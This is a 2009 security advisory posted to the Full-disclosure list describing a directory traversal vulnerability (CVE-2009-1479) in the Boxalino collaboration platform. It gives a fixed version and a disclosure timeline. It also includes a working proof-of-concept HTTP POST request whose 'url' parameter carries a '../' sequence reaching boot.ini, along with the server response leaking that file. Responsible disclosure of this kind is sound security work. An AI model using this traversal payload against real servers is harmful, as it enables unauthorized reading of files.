[Full-disclosure] [CVE-2009-1479] Boxalino - Directory Traversal Vulnerability

[Axel Neumann <axel.neumann@xxxxxxx>]

#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Boxalino
# Vendor:   Boxalino AG (www.boxalino.com)
# CVD ID:   CVE-2009-1479
# Subject:  Directory Traversal Vulnerabilities
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Axel Neumann <axel.neumann@xxxxxxx>
# Date:     2009-10-20
#
#############################################################

Introduction
------------
An Directory Traversal vulnerability exists in the collaboration
platform Boxalino [1]. Remote exploitation of a directory traversal
vulnerability in Boxalino's product allows attackers to read arbitrary
files on the server file system with web server privileges.


Affected
--------
Vulnerable:
 * Boxalino (closed-source product)

Not vulnerable:
 * Unknown

Not tested:
 * N/A


Technical Description
---------------------
When handling HTTP requests, Boxalino does not properly check for
directory traversal specifiers. Therefore, by including a sequence such
as "../../../", an attacker is able to read files outside of the
intended location. The vulnerability exists for both, Windows and UNIX
based systems.

POST /boxalino/client/desktop/default.htm HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
Host: www.example.ch
Content-Length: 256
Cookie: JSESSIONID=A57AABD5F2051C4333F500EBB1232295
Connection: Close
Pragma: no-cache

url=../../../../../../../../boot.ini&login_loginName=example&login_loginPassword=example&login_cmd_logon=Login&defaultAction=Example&login_cmd_logon_resultPage=%2Fboxalino%2Fclient%2Fdesktop%2Fdefault%2Ehtm


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Tues, 01 Jan 1980 00:00:00 GMT
Content-Type: text/html
Content-Length: 208
Date: Wed, 29 Apr 2009 09:01:06 GMT
Connection: close


[boot loader] timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003,
Standard" /noexecute=optout /fastdetect


Workaround / Fix
----------------
Update to Boxalino Version 09.05.25-0421


Timeline
--------
2009-10-20:     Advisory Release
2009-05-26:     Release of fixed Boxalino Version / Patch
2009-05-25:     Initial vendor response
2009-04-30:     Initial vendor notification
2009-04-29:     Assigned CVE-2009-1479
2009-04-29:     Discovery by Axel Neumann


References
----------
[1] http://www.boxalino.com/

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